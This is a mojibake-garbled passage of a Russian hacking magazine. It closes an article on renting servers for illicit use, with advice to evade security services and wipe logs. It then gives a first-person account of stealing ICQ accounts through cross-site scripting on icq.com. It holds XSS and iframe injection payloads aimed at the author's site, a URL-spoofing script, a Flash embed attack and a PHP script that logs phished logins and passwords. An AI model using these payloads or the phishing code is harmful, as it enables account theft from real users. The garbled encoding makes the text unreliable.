áåç ïðè÷èíû íà íåñêîëüêî ÷àñîâ
(èëè äàæå ìèíóò) åñòü ïîâîä çàäó-
ìàòüñÿ. Âîçìîæíî, òâîé ñåðâåð
âûäâèãàëè èç ñòîéêè, à æåñòêèé
äèñê ñíèìàëñÿ äëÿ èçó÷åíèÿ. Åñëè
òû âëÿïàëñÿ âî ÷òî-òî ñåðüåçíîå,
ðåêîìåíäóþ çàëå÷ü íà äíî è âîîá-
ùå íå çàõîäèòü íà ñåðâåð.
Ñêàæó òàêæå ïðî çàõîäû íà ñåðâåð
è áåçîïàñíîñòü. Îáÿçàòåëüíî èñ-
ïîëüçóé ïðîêñè ïðè êîííåêòå â
êîíñîëü. Îíî òîãî ñòîèò, ïîâåðü
ìíå, åñëè ñïåöñëóæáû ðåøàò ïîè-
çó÷àòü ñîäåðæèìîå æåñòêîãî äèñ-
êà èëè ïîñòàâÿò ìàøèíó íà ïðîñ-
ëóøêó, ïðîêñèê èëè ñîêñ ñïàñåò òå-
áÿ îò íåçâàíûõ ãîñòåé. ×òî êàñàåò-
ñÿ ñèñòåìíûõ ëîãîâ, òî èõ ðåêî-
ìåíäóþ óáèòü ñðàçó: òåáå îíè âðÿä
ëè ïðèãîäÿòñÿ, à àäìèíèñòðàöèè
èõ ëó÷øå íå èçó÷àòü :).
Íî ÷òî æå äåëàòü, åñëè òâîé ñåðâåð
âíåçàïíî îòêëþ÷èëè? Íå ñòîèò âïà-
äàòü â ïàíèêó, áûòü ìîæåò, äèñêîí-
íåêò ïðîèçîøåë ñëó÷àéíî èëè «çà
íåóïëàòó». Ñðàçó æå ñòîèò íàïèñàòü
ïèñüìî â òåõïîääåðæêó, íà êîòîðîå
òåáå îáÿçàòåëüíî îòâåòÿò. Åñëè
ïðè÷èíîé îòêëþ÷åíèÿ ñòàë àáóç, òå-
áÿ, ñêîðåå âñåãî, îòïðàâÿò íà äëè-
òåëüíóþ ïåðåïèñêó ñî ñëóæáîé áå-
çîïàñíîñòè. Â ïðîòèâíîì ñëó÷àå,
òåáå ïðåäîñòàâÿò ñ÷åò ê îïëàòå, ëè-
áî ñêàæóò, ÷òî ñåðâåð ëåæèò ïî àâà-
ðèéíûì îáñòîÿòåëüñòâàì. Åùå ðàç
íàïîìíþ, ÷òî â ïîäîáíûõ ñëó÷àÿõ
ñëåäóåò äåðæàòü óõî âîñòðî, áûòü
ìîæåò, òâîþ ìàøèíêó ïûòàþòñÿ
ïîñòàâèòü íà ïðîñëóøèâàíèå.

[áðàòü èëè íå áðàòü?] Ïðî îñî-
áåííîñòè âûäåëåííûõ ñåðâåðîâ
ìîæíî íàïèñàòü íåñêîëüêî ñòàòåé,
íî, äóìàþ, ïîñëå ïðî÷òåíèÿ ýòîé òû
ïîíÿë âàæíûå ìîìåíòû: ãäå, êàê è
çà ñêîëüêî ðåàëüíî êóïèòü ñåðâåð
ïîä ëè÷íûå íóæäû, à òàêæå ïðàâèëà
îáùåíèÿ ñî ñëóæáîé áåçîïàñíîñòè.
Íî åñëè ó òåáÿ ÷òî-òî íå êëåèòñÿ èëè
òû íå ìîæåøü îïðåäåëèòüñÿ ñî
ñòðàíîé, çàäàâàé âîïðîñ íà ïî÷òó �
îòâå÷ó, êàê òîëüêî ñìîãó

äåëîâàÿ ïåðåïèñêà ñ äàòàöåíòðîì

×ÒÎ, ÃÃÄÅ, ÏÏÎ×ÅÌ?
Ñ òâîåãî ïîçâîëåíèÿ, ïîçâîëü ïðåäñòàâèòü ñïèñîê èç èçâåñòíûõ äàòàöåíòðîâ, ó êîòîðûõ ìîæíî
áðàòü âûäåëåííûå ñåðâåðû. Ñ ýòèìè êîìïàíèÿìè èìåë îïûò ëèáî ÿ, ëèáî êòî-òî èç ìîèõ
ïðèáëèæåííûõ êîëëåã.

Âîò, ñîáñòâåííî, è âåñü äîâåðåííûé ñïèñîê. Íî îí íà ýòîì íå çàêàí÷èâàåòñÿ, îñòàëüíûå
äàòàöåíòðû òàêæå èìåþò ñâîè ïëþñû è ìèíóñû. À íàéòè òû èõ ìîæåøü íà ïîèñêîâûõ
ñèñòåìàõ ïî ïðîñòîìó çàïðîñó Dedicated Servers.

wwwwww..ffddccsseerrvveerrss..nneett 
Àìåðèêàíñêèé äàòà-

öåíòð, øòàò ×èêàãî. 

ß ðàáîòàë ñ íèìè ïðè-

ìåðíî ãîä, è ìîãó ñêà-

çàòü, ÷òî ïðîáëåì ñ

àáóçàìè ó ìåíÿ ïðàêòè-

÷åñêè íå áûëî. Àïòàéì

ñåðâåðà ïðèìåðíî 90�

95% â ìåñÿö ( áûâàëè

ïåðåáîè), íî ñàïïîðò

îòâå÷àåò äîâîëüíî

áûñòðî ÷åðåç Web-

based-helpdesk. Öåíû

íà ñåðâåðû êîëåáëþò-

ñÿ îò 50 äî 200 äîëëà-

ðîâ. Ïðèïëþñóé 

ê ýòîìó áåñïëàòíûå 

äîáàâî÷íûå IP-àäðåñà

è õàëÿâíûé òðàôèê :).

wwwwww..tthheeppllaanneett..ccoomm
Àìåðèêà, Äàëëàñ.

Áûñòðûé ñåòàï ñåðâå-

ðà, àïòàéì 100% (áåç

ïåðåáîåâ), ìîùíûå

ñåðâåðû âïëîòü äî

êëàñòåðíîé òåõíîëîãèè,

âèíò îò 160 ãá/raid. Åñòü

âîçìîæíîñòü îáùàòüñÿ

ñ ñóïïîðòîì ïî ìèêðî-

ôîíó ÷åðåç ñïåöèàëü-

íûé ãåéò, êîòîðûé äîñ-

òóïåí íà ñàéòå (åñëè,

êîíå÷íî, õîðîøî çíà-

åøü àíãëèéñêèé :))

wwwwww..lleeaasseewweebb..nneett 
Íà ýòîò ðàç äàòàöåíòð èç

Ãîëëàíäèè. Çäåñü ñåðâå-

ðû ìîæíî êóïèòü çà 200

� 300 åâðî çà 3 ìåñÿöà,

ïëþñ ê ýòîìó íóæíî ïëà-

òèòü çà òðàôèê 

(1 ãèã�1 åâðî) è çà 

äîáàâî÷íûå àéïèøíèêè.

Íî ïðåæäå ÷åì ñîòðóä-

íè÷àòü ñ íèìè, îçíà-

êîìüñÿ ñ èõ çàïóòàííû-

ìè ïðàâèëàìè � ïîìî-

æåò â áóäóùåì :)

wwwwww..hhoossttiikk..ccoomm 
Êèòàéñêèé äàòàöåíòð.

Ïðèíèìàþò PayPal,

ñòàâÿò ñåðâåð âñåãî çà

ñóòêè. Ïåðåáîåâ íå

íàáëþäàë, íî ñàì ñåð-

âåðîì íå ïîëüçîâàëñÿ

(îïèñàíèå ñî ñëîâ çíà-

êîìîãî). Íî êèòàéöû

íàðîä ëîÿëüíûé, ïîýòî-

ìó àáóçû ïî÷òè íå

âîñïðèíèìàþò, à óæ

òåì áîëåå íå áëîêèðó-

þò àêêàóíò.

vvppsskkoorreeaa..ccoomm
Íà ýòîò ðàç äàòàöåíòð

èç Êîðåè. Çäåñü ïðî-

äàþòñÿ òîëüêî ëèøü

VDS ïî 40 è ïî 80 áàê-

ñîâ â ìåñÿö. Ñåðâåðû 

ðàáîòàþò áåç ïåðåáî-

åâ, íî òîëüêî ëèøü íà

êàíàëå â 10Mb, òàêæå

êîðåéöû íå âûäàþò

äîïîëíèòåëüíûå àé-

ïèøíèêè. Íî ïî çàïðîñó

òû ìîæåøü ïîëó÷èòü â

ðàñïîðÿæåíèå ðóòîâûé

ñåðâåð ñîâåðøåííî

áåñïëàòíî � äëÿ òåñòà.





ÊÀÊ ÈÇÂÅÑÒÍÎ, ÁÎËÜØÈÍÑÒÂÎ
ÑÀÉÒÎÂ Â ÑÅÒÈ ßÂËßÞÒÑß ÓßÇ-
ÂÈÌÛÌÈ. È ÍÅ ÎÁßÇÀÒÅËÜÍÎ
ÝÒÎ ÎÁÛ×ÍÛÅ ÄÎÌÀØÍÈÅ ÑÒÐÀ-
ÍÈ×ÊÈ: ÍÅÐÅÄÊÎ ÁÀÃÈ ÌÎÆÍÎ
ÂÑÒÐÅÒÈÒÜ ÄÀÆÅ Ó ÒÀÊÈÕ ÃÈ-
ÃÀÍÒÎÂ, ÊÀÊ ÌÀÉÊÐÎÑÎÔÒ, NASA 

È ICQ. ÕÎÒß ÀÄÌÈÍÈÑÒÐÀÒÎÐÛ 
È ÍÀÓ×ÈËÈÑÜ ÇÀÙÈÙÀÒÜ ÑÂÎÈ
ÒÂÎÐÅÍÈß ÎÒ PHP-ÈÍÊËÓÄÎÂ È
SQL-ÈÍÚÅÊÖÈÉ, CSS ÄÛÐÛ ÊÀÊ
ÁÛËÈ, ÒÀÊ È ÎÑÒÀÞÒÑß. À ÂÑÅ
ÎÒÒÎÃÎ, ×ÒÎ, ÏÎ ÌÍÅÍÈÞ ÌÍÎ-
ÃÈÕ ÃËÓÏÛÕ ÀÄÌÈÍÎÂ, ×ÅÐÅÇ

CSS ÍÈ×ÅÃÎ ÑÅÐÜÅÇÍÎÃÎ ÑÎÒ-
ÂÎÐÈÒÜ ÍÅËÜÇß. ÍÀÄÅÞÑÜ, ÌÎß
ÑÒÀÒÜß ÑÅÃÎÄÍß ÐÀÇÂÅÅÒ ÝÒÎ
ÏÐÈÅÂØÅÅÑß ÌÍÅÍÈÅ. ß ÐÀÑ-
ÑÊÀÆÓ, ÊÀÊ ß ÓÃÎÍßÞ ICQ-ÓÈÍÛ
×ÅÐÅÇ ÁÀÃ ÍÀ ÑÀÉÒÅ ICQ.COM 
| PinkPanther (PinkPanther@hackzona.ru)

[intro] Ýòî áûëà ïîèñòèíå óäà÷íàÿ íåäåëÿ: sql-èíúåêöèÿ íà îäíîì èç ñàéòîâ NASA,
äûðû âî phrack.org è åùå ìàññà çàâîðàæèâàþùèõ âîîáðàæåíèå íàéäåííûõ óÿçâè-
ìîñòåé. Âîò îêàçûâàåòñÿ, êàêîå âäîõíîâåíèå íàõîäèò íà ÷åëîâåêà, êîãäà âñÿ åãî ðîä-
íÿ íà íåäåëþ ñâàëèâàåò íà äà÷ó. Â îáùåì, òâîð÷åñêèé ðàé äëÿ õàêåðà :).
Èòàê, èñòîðèÿ ýòà íà÷àëàñü, êàê íå óäèâèòåëüíî, íî÷üþ. Ñèäåë ÿ è èçó÷àë íîâûé óñ-
òàíîâëåííûé icq-êëèåíò qip, è ïåðåìåòíóëî ìåíÿ íà ïîèñê áàãîâ â ñàìîì ãëàâíîì ñåð-
âàíòå âñåõ àéñèêüþøíèêîâ � icq.com. Äàâíî ñîáèðàëñÿ, ÷åñòíî ãîâîðÿ, íî íà÷àë
èìåííî ïîñëå çíàêîìñòâà ñ íîâûì êëèåíòîì.

[CSS ÷åðåç icq êëèåíò] Íà ñàéòå icq ìîæíî ïðîñìîòðåòü ïðîôàéë ëþáîãî ïîëüçîâà-
òåëÿ, çàðåãèñòðèðîâàííîãî â ñèñòåìå. Ïðè ýòîì ìîæíî ïîñìîòðåòü åãî àâàòàðêó, ëè÷íûå
äàííûå è äàæå íàêàòàòü åìó ñîîáùåíèå. Íó, òû çíàåøü. Ê ïðèìåðó, ïðîôàéë ìîåãî áûâ-
øåãî óèíà 559822 íàõîäèòñÿ ïî àäðåñó: www.icq.com/whitepages/wwp.php?to=559822. Êî-
ïàÿñü â êëèåíòå, ìåíÿ îñåíèëî: à ÷òî åñëè îñóùåñòâèòü ìåæñàéòîâûé ñêðèïòèíã íà ýòîé
ñòðàíèöå? Âîïðîñ: «Êàê?» Îòâåò: «Î÷åíü ïðîñòî». Â íàñòðîéêàõ ïîëüçîâàòåëÿ êëèåíòà
ââîäèì äàííûå, îíè çàãðóæàþòñÿ íà ñàéò è îòîáðàæàþòñÿ (ñðàáàòûâàþò) íà ñòðàíèöå
ïðîôàéëà. Â ïðèíöèïå, âñå ëåãêî, íî îêàçàëîñü, ÷òî åñòü âñåãî äâà óÿçâèìûõ ïàðàìåòðà:
«Èìÿ» è «Ôàìèëèÿ». Ïîëå «Íèê» îòáðîñèì: îí íàì íå èíòåðåñåí :). Íî òóò åùå îäèí îá-
ëîì: îãðàíè÷åíèå íà êîëè÷åñòâî ââîäèìûõ ñèìâîëîâ. Ïîýòîìó äëÿ ëîêàëüíîãî àëåðòà, 
ê ïðèìåðó,ïðèøëîñü ïðèáåãíóòü ê òîé øòóêå, êîòîðóþ òû âèäèøü íà ñêðèíåïîäíîìåðîì 1.
Òî åñòü âáèòü â ïîëå «Èìÿ» ïåðâóþ ÷àñòü ýëåìåíòàðíîãî ñêðèïòà, à çàâåðøàþùóþ ÷àñòü
ðàçìåñòèòü â ïîëå «Ôàìèëèÿ».
Êàçàëîñü áû, ÷òî òóò ìîæíî ïðèäóìàòü ñ òàêèìè îãðàíè÷åíèÿìè. Íî ìíå ïîñ÷àñòëè-
âèëîñü íàéòè åùå îäèí óÿçâèìûé ïàðàìåòð, â êîòîðîì êîëè÷åñòâî ââîäèìûõ ñèìâî-
ëîâ áûëî ðàâíî 80 � ýòî «Äîìàøíÿÿ ñòðàíèöà». Ïðàâäà, ñ ýòèì ïàðàìåòðîì áóäü 
îñòîðîæíåé: ó ìåíÿ òàê çàáàíèëîñü íåñêîëüêî óèíîâ. Õîòÿ âïîëíå âîçìîæíî, ÷òî ýòî
íå áàí, à ïðîñòî qip ñõîäèò ñ óìà. Òî÷íî íå çíàþ, íî óèíû óøëè íàâñåãäà :(.
Äëÿ ÷åãî ýòî ìîæíî èñïîëüçîâàòü? Ê ïðèìåðó, ìîæíî óâîäèòü ÷óæèå óèíû, íó, èëè 
â êðàéíåì ñëó÷àå, ìîæíî çäîðîâî ïîïðèêàëûâàòüñÿ. Ñêàæåì, ìîæíî ðàçìåñòèòü 
â ñîáñòâåííîì ïðîôàéëå ñêðèïò ðåäèðåêòà íà ñâîé ñàéò è ñòåáàòüñÿ íàä óäèâëåíèåì
ëþäåé, çàõîäÿùèõ ïîñìîòðåòü ïðîôàéë :). Âîò òàê, êàê ó ìåíÿ, ïîëþáóéñÿ:
www.icq.com/whitepages/wwp.php?to=559822

[äûðêè íà ôîðóìå ñàéòà icq.com] Â ÷åì íàì î÷åíü ïîâåçëî, òàê ýòî â òîì, ÷òî
íà icq.com ïðàêòè÷åñêè âñå ñåðâèñû íàõîäÿòñÿ â îäíîì ïîääîìåíå. Ñëåäîâàòåëüíî,
øàíñû íàéòè ïîäõîäÿùóþ äûðó è óâåñòè íóæíûå êóêèñû çàìåòíî ïîäðàñòàþò :).
Ïðîäîëæàÿ ñâîè èññëåäîâàíèÿ, ÿ çàëåç íà ôîðóì. Àâòîðèçàöèÿ ïðîùå íåêóäà, ÷òî ìåíÿ
î÷åíü îáðàäîâàëî. Äëÿ àâòîðèçàöèè íóæíî ââåñòè â ïîëå «Ëîãèí» ñâîé óèí èëè ïðèìà-
ðè, â ïîëå «Ïàðîëü» � ñâîé ïàðîëü ê óèíó (êîòîðûé, êàê òû ïîíèìàåøü, î÷åíü ÷àñòî ïîä-
õîäèò è ê ïðèìàðè). Òåïåðü îñòàëîñü òîëüêî íàéòè CSS äûðêó â ôîðóìå.
Ñêàæó ÷åñòíî, ÿ ÷óòü ñî ñìåõó íå óìåð ïîñëå ïåðâîãî òåñòà íà CSS. Äàæå íå óñ-
ïåë êîïíóòü bb-òýãè, êàê óÿçâèìûé ïàðàìåòð áûë íàéäåí. Èì îêàçàëîñü ïîëå
Subject ïðè îòâåòå â òåìå. Â ðåæèìå preview íè÷åãî íå ôèëüòðîâàëîñü, ÷òî óæå
ïðåäâåùàëî áîëüøèå âîçìîæíîñòè. Ïðîâåðèâ íà ñåáå äåéñòâèå ñîñòàâëåííîãî
ñêðèïòîâîãî ñïëîèòà (ïîêà ëîêàëüíîãî): "><script>alert(document.cookie)</script>,
íà ìîåì ëèöå ïîÿâèëàñü óëûáêà.
Òàêèì îáðàçîì, ÿ óáåäèëñÿ â òîì, ÷òî âñå ïðîõîäèò áîëåå-ìåíåå óñïåøíî. Íî ïðè
îêîí÷àòåëüíîì ïîñòå ñîîáùåíèÿ, ïðîñìîòðåâ ñîðñ ñòðàíèöû, ÿ óâèäåë, ÷òî ôèëüòðó-
åòñÿ ëþáîå ïðîÿâëåíèå ñëýøåé è äâîéíûõ êàâû÷åê:
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title="&quot;><script
src=http:&#47;&#47;my_site&#47;1.js><&#47;script>">
���" >&quot;&gt;&lt;script
src=http://my_site/1.js&gt;&lt;/sc...</a>

Ïëàíû ðóøàòñÿ. Ìàêñèìóì, ÷òî òóò ìîæíî ñäåëàòü �
âñòàâèòü àëåðò, íàïðèìåð: <img src=javascript:alert
('Pink_cool')>, íî íè÷åãî áîëåå ñåðüåçíîãî îòñþäà íå
âûæàòü. Íå ïîìîã îáõîä ôèëüòðàöèè è ðàçíîîáðàçíàÿ
ïåðåêîäèðîâêà ñëýøà è êàâû÷åê.

[íîâàÿ ìàçà] Òóò ÿ çàìåòèë îäíó øòóêó: åñëè êëèê-
íóòü íà íàçâàíèå ñâîåãî ïîñòà èëè ïðîñìîòðåòü ñïèñîê
âñåõ ñâîèõ ïîñòîâ, ìîæíî ñëîâèòü âñòàâëåííóþ CSS.
Ìåíÿ òàêîå íå óñòðàèâàëî, òåì áîëåå, ÷òî âòîðîé ïàðà-
ìåòð â çàãîëîâêå ñîîáùåíèÿ ïîëíîñòüþ ôèëüòðîâàëñÿ,
è ïîýòîìó íàä ñâîèì íèêîì ÿ âèäåë îòîáðàæåííûé
ñêðèïò, ïî êîòîðîìó è ñòîèëî êëèêàòü :).
Ïðèøëîñü íà÷àòü ïîèñêè äðóãèõ óÿçâèìîñòåé. Îñòàâèâ â
ïîêîå «Îòâåò â òåìó ñ öèòèðîâàíèåì», ÿ íàæàë êíîïêó «Íà-
÷àòü íîâóþ òåìó». Âîò òóò (â ðåæèìå preview) â ïîëå
Subject/Question íå ðàáîòàë íè îäèí ñêðèïò, âñå æåñòêî
ôèëüòðîâàëîñü. Íåìíîãî îò÷àÿâøèñü, ÿ âñå æå çàïîñòèë òå-
ìó. Â ñïèñêå âñåõ òåì (â ðàçäåëå) ÿ óâèäåë, ÷òî ìîé ñêðèïò
âûäàåò ñåáÿ ñ ãîëîâîé. Íó ÷òî æ, ðàáîòàþò ôèëüòðû.
ß àâòîìàòîì êëèêíóë íà òåìó, íà÷àëàñü çàãðóçêà, è, î ÷óäî,
ñêðèïò ñðàáîòàë! Íèêàêèõ ôèëüòðîâ âíóòðè òåìû íå îêàçà-
ëîñü, è íóæíàÿ àêòèâíàÿ CSS áûëà íàéäåíà. Êîíå÷íî, î÷åíü
îáëàìûâàëî, ÷òî â ñïèñêå òåì ìîÿ ñèëüíî ïàëèëàñü, íàçâà-
íèåì êîòîðîé âûñòóïàë ìîé ñêðèïòîâûé ñïëîèò. Íî ñ ýòèì,
ê ñîæàëåíèþ, íè÷åãî íå ïîäåëàòü, âåäü äàæå ïðè ïåðåâîäå
åãî â äðóãóþ êîäèðîâêó, ÷òîá õîòü íåìíîãî çàïóòàòü ïîëüçî-
âàòåëåé, ñêðèïò â òåìå ðàáîòàòü íå õîòåë.
Òàêàÿ âîò çàáàâíàÿ ôèëüòðàöèÿ, è òàêèå âîò ãëóïûå àä-
ìèíû. Íî, êàê òû ïîíèìàåøü, êðàñòü êóêèñû ñìûñëà
íåò, òàê êàê â ÷èñòîì âèäå ìû ïîëó÷àåì òîëüêî óèí
(ïðèìàðè) è íèê, íî íå ïàðîëü, à âûòÿãèâàòü åãî, íàïðè-
ìåð, èç ñåññèè íåðåàëüíî, òàê êàê ñêîðåå âñåãî åå
èäåíòèôèêàòîð íèêàê íå ñâÿçàí ñ ïàðîëåì.
Ìîæíî áûëî áû ïîýêñïåðèìåíòèðîâàòü ñ ïîäñòàíîâêîé
÷óæèõ êóêîâ (ýòî åñëè âäðóã ê ñåññèè íå áûë ïðèâÿçàí àé-
ïè íàñòîÿùåãî ïîëüçîâàòåëÿ), íî ìåíÿ äàæå íà ýêñïåðè-
ìåíò ýòà èäåÿ íå âäîõíîâèëà. Åäèíñòâåííîå, ÷òî ÿ ìîã
ïîëó÷èòü, � ýòî äîñòóï â ÷óæîé ëè÷íûé êàáèíåò (èìåííî
ôîðóìíûé) è âîçìîæíîñòü ïîñòèòü ñîîáùåíèÿ îò äðóãî-
ãî ïîëüçîâàòåëÿ. Êàêèì-ëèáî îáðàçîì óçíàòü èëè ñìå-
íèòü ïàðîëü/èíôó ÷åðåç ïðîôàéë áûëî íåâîçìîæíûì,
ïîýòîìó ÿ ïîøåë äðóãèì ïóòåì � ïóòåì ïðÿìîé êðàæè
ïàðîëåé ÷åðåç ôåéê-ñòðàíèöû àâòîðèçàöèè.
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Êàê ÿ óãîíÿþ óèíû ÷åðåç äûðû â icq.com

Äûðÿâàÿ ÀÀñÿ

ÑÎÖÈÀËÜÍÀß ÈÈÍÆÅÍÅÐÈß ++ CCSS
Êàê âèäèøü, ñêðèïò, ïîìåùåííûé â ôîðóì, âûäàåò ñåáÿ ñ ãîëîâîé, ÷òî íåìíî-
ãî ïîðòèò íàøè ïëàíû (íî äàæå íåñìîòðÿ íà ýòî, ìíå âåçëî, è óèíû ñàìè øëè
êî ìíå â ëàïû :)). Íî íå îïóñêàé ðóêè, âåäü ÷òî ìåøàåò ïðîñòî êèíóòü ññûëêó 
â ôîðóì è çàñòàâèòü ïîëüçîâàòåëÿ ïðîéòèñü ïî íåé èëè îòïðàâèòü ôîðóì÷àíè-
íó ñîîáùåíèå ñ ýòîé ññûëêîé. Íî ïîìíè, ÷òî ðåçóëüòàò ïîëíîñòüþ çàâèñèò
òîëüêî îò òåáÿ, òàê êàê òóò áåç õîðîøèõ íàâûêîâ ñîöèàëüíîãî èíæåíåðèíãà
íå îáîéòèñü. Ìîæíî òàêæå ïîìåñòèòü âðåäîíîñíûå ñêðèïòû â ñâîé ïðîôàéë,
à ïîòîì ïðîñòî ãóëÿòü ïî ôîðóìó è òâîðèòü áåñïðåäåë. Êàê ìèíèìóì, 5 ïîëü-
çîâàòåëåé èç 10 äà çàãëÿíåò ê òåáå â ïðîôàéë, ïðåæäå ÷åì óèí çàáàíÿò :).

FLASH-CCSS ÀÀÒÀÊÀ
Èíîãäà ïðîâåñòè CSS-àòàêó ñòàíäàðòíûìè ìåòî-
äàìè íåâîçìîæíî. Â òàêîì ñëó÷àå òåáå ìîæåò
ïîìî÷ü î÷åíü ïðîñòîé è èíòåðåñíûé ñïîñîá. 
ß ãîâîðþ ïðî ôëåø-àòàêó. Äëÿ ýòîãî òåáå ïîò-
ðåáóåòñÿ ñîçäàòü âî Flash-ðåäàêòîðå êàêóþ-òî 
êàðòèíêó è â ïàðàìåòð getURL âïèñàòü ññûëêó, 
ê ïðèìåðó, ñ ðåäèðåêòîì íà ôåéê ÷åðåç ïàññèâ-
íóþ CSS (Ñì. ñêðèí.). Ïîñëå, â ïîëå Subject, 
íàäî ïðîïèñàòü: <embed src=http://my_site/1.swf>.
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Darling,
I need more
contacts!
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Çàáûë ñêàçàòü, ÷òî ïðè ïîñòå ñîîáùå-
íèÿ, ðÿäîì ñî ñâîåé àâàòàðêîé, ìû èìå-
åì 2 ññûëêè, îäíà èç êîòîðûõ âåäåò â
ïðîôàéë, óêàçàííûé â ñàìîì íà÷àëå
ñòàòüè, à äðóãàÿ � â ïðîôàéë, íàõîäÿ-
ùèéñÿ ïðèìåðíî ïî ñëåäóþùåìó àäðåñó:
www.icq.com/whitepages/about_me.php?ui
n=559822. Ñàìî ñîáîé, ýòîò ïðîôàéë òî-
æå äûðÿâûé :).

[èäåÿ è äàëüíåéøèå èññëåäîâà-
íèÿ] Èäåÿ ìîÿ âûãëÿäåëà òàê: â ôîðóì
êèäàåì ñîîáùåíèå ñî ñêðèïòîì, ðåäèðåê-
òÿùèì ïîëüçîâàòåëÿ ïîïàâøåãî ïîä âîç-
äåéñòâèå ýòîé CSS íà ñòðàíèöó ñ ôåéêîì,
ðàñïîëîæåííûì íà ìîåì ñàéòå, êîòîðûé
âûãëÿäèò, êàê ãëàâíàÿ ñòðàíèöà àâòîðèçà-
öèè íà ôîðóìå. Ïîëüçîâàòåëü ââîäèò
ñâîè äàííûå è ïåðåõîäèò îïÿòü íà ôîðóì,
òåì âðåìåíåì âñå ââåäåííûå èì äàííûå
ñîõðàíÿþòñÿ ó ìåíÿ. Íî îäíî äåëî ñêà-
çàòü�. Âåäü ïîëüçîâàòåëü ñðàçó ñïàëèò
ïîääåëêó, åñëè â àäðåñíîé ñòðîêå áðàóçå-
ðà áóäåò íàïèñàíî ÷òî-òî òèïà: http//pan-
terka-zloy hacker.h15.ru/razvod.php. Òóò
ìîæíî áûëî ïîéòè 2-ìÿ ïóòÿìè: èëè èñ-
ïîëüçîâàòü äëÿ îáìàíà url spoofing, èëè
íàéòè åùå îäíó ïàññèâíóþ óÿçâèìîñòü
(æåëàòåëüíî íà ñòðàíèöå àâòîðèçàöèè íà
ôîðóì) è âñòðîèòü â íåå iframe, ÷åðåç êî-
òîðûé îòîáðàæàëñÿ áû ìîé ôåéê.
ß ñáåãàë â íî÷íîé ìàãàçèí çà äâóìÿ áó-
òûëî÷êàìè ïèâêà è ïðèíÿëñÿ èñêàòü íî-
âûå CSS. Ïðîøëî 15 ìèí, è óæå áûëî âû-
äåëåíî 3 ïàññèâíûõ óÿçâèìîñòè, îäíà èç
êîòîðûõ íàõîäèëàñü èìåííî â ñòðàíèöå
àâòîðèçàöèè. Âîò åå url ñ óæå âñòðîåí-
íûì îïàñíûì ñêðèïòîì:

www.icq.com/karma/login_page.php?de
st=http%3A%2F%2Fwww.icq.com%2Fb
oards%2F&sv=2&css=boards.css"><ifra
me%20src=http://my_site/login.php%20
height=100%%20width=100%%20scroll
ing=no%20frameborder=0>

Òåïåðü, ïåðåâåäÿ îñîáî ïàëåâíûå ìî-
ìåíòû â uri êîäèðîâêó, ïîëó÷èì:

www.icq.com/karma/login_page.php?des
t=http%3A%2F%2Fwww.icq.com%2Fboa
rds%2F&sv=2&css=boards.css%22%3E
%3Ciframe%2520src%3Dhttp%3A%2F%
2Fmy_site%2Flogin.php%2520height%3
D100%25%2520width%3D100%25

Êàê âèäèøü, ÿ ñîçäàë èôðåéì, â êîòî-
ðîì áóäåò îòîáðàæàòüñÿ íàø ôåéê, ðàñ-
ïîëîæåííûé íà ìîåì ñàéòå, íî�íà äàí-
íîé ñòðàíèöå (www.icq.com/ karma
/login_page.php) îêàçàëîñü öåëûõ 3 óÿç-
âèìûõ ïàðàìåòðà, à ýòî îçíà÷àåò, ÷òî
ìû áóäåì âèäåòü öåëûõ òðè 100% èô-
ðåéìà, îòîáðàæàþùèõñÿ ñâåðõó âíèç.
Êîíå÷íî, íå âñå ýòî çàìåòÿò, íî, íå æå-
ëàÿ ðèñêîâàòü, ïðèøëîñü âçÿòü äðóãóþ
óÿçâèìîñòü � â ôîðóìíîì ïîèñêîâèêå:

www.icq.com/icq_preferences/sig_pre-
view.php?sig=<script>alert(document.co
okie)</script>

Òóò ìåíÿ òîæå æäàëà íåóäà÷à � îãðàíè÷å-
íèå íà êîëè÷åñòâî ââîäèìûõ ñèìâîëîâ. 
Â èòîãå, ÿ îñòàíîâèëñÿ íà 3 CSS. Âîò åå url ñ
óæå îôîðìëåííûì iframe. Îïÿòü æå, çàøèô-
ðîâàâ âñå ëèøíåå è íåêðàñèâîå, ïîëó÷èì:

www.icq.com/icq_preferences/sig_pre-
view.php?sig=%3Ciframe+src%3Dhttp%
3A%2F%2Fmy_site%2Flogin.php+heigh
t%3D100%25+width%3D100%25+scroll
ing=no+frameborder=0%3E

Âñå ïðîøëî óñïåøíî, ñêðèïò ëèøü íåì-
íîãî ïàëèòñÿ â title ñòðàíèöû, íî, â ïðèí-
öèïå, âñå îòëè÷íî.
Äëÿ îáùåãî ðàçâèòèÿ ÿ ðåøèë ðàññìîò-
ðåòü åùå îäèí âàðèàíò îáìàíà � url
spoofing. Ýòà èäåÿ óæå ðàññìàòðèâàëàñü
â æóðíàëå, à èìåííî ¹3 2004, ñòð.64,
òàê ÷òî îñîáûõ ñëîæíîñòåé ó òåáÿ âûç-
âàòü íå äîëæíà. Äëÿ îñóùåñòâëåíèÿ
ïîäñòàâû, íàäî ÷òîá ó æåðòâû â áðàóçå-
ðå ñðàáîòàë òàêîé âîò êîä:

<script>location.href=unescape('http://w
ww.icq.com|login.php%01@www.my_si
te/login.php');</script>

Áðàóçåðîì äîëæåí áûòü íå îáíîâëåííûé
îñåë. Ê ñîæàëåíèþ, â ïåðâîì àäðåñå
ñêðèïòà, íåëüçÿ èñïîëüçîâàòü ñëýøè, ïî-
ýòîìó ïðèøëîñü äîâîëüñòâîâàòüñÿ âåð-
òèêàëüíîé ÷åðòîé. Õîòÿ, âîçìîæíî, 
òû ïðèäóìàåøü ÷òî-íèáóäü ïîêðàñèâåå :).

[à òåïåðü î ñàìîì ôåéêå] À òóò íåò
íè÷åãî ñëîæíîãî. Ïðîñòî ñîõðàíÿåì ñòðà-
íèöó àâòîðèçàöèè íà âèíò è íåìíîãî ïðà-
âèì, à èìåííî � èçìåíÿåì ïàðàìåòð

action, óêàçûâàÿ âìåñòî www.icq.com/karma/login.php ñâîé
ôàéë check.php. Ñàì æå check.php áóäåò âûãëÿäåòü òàê:

[check.php]

<?php
$fp=fopen("logi.html", "a"); //îòêðûâàåì ôàéë logi.html 
äëÿ äîçàïèñè â êîíåö ôàéëà
fwrite($fp, "$uin_email : $password<br/>"); //äîçàïèñûâàåì
ñâÿçêó óèí (ïðèìàðè):ïàðîëü
fclose($fp); //çàêðûâàåì ôàéë
header("location:http://icq.com/boards/"); //ðåäèðåêòèì 
íà ãëàâíóþ ñòðàíèöó ôîðóìà
?>

Òåïåðü çàëüåì ýòè 2 ôàéëà, à òàêæå ôàéë logi.html, íà
ñàéò ñ ïîääåðæêîé php (â äàííîì ñëó÷àå ýòî ìîé ñàéò �
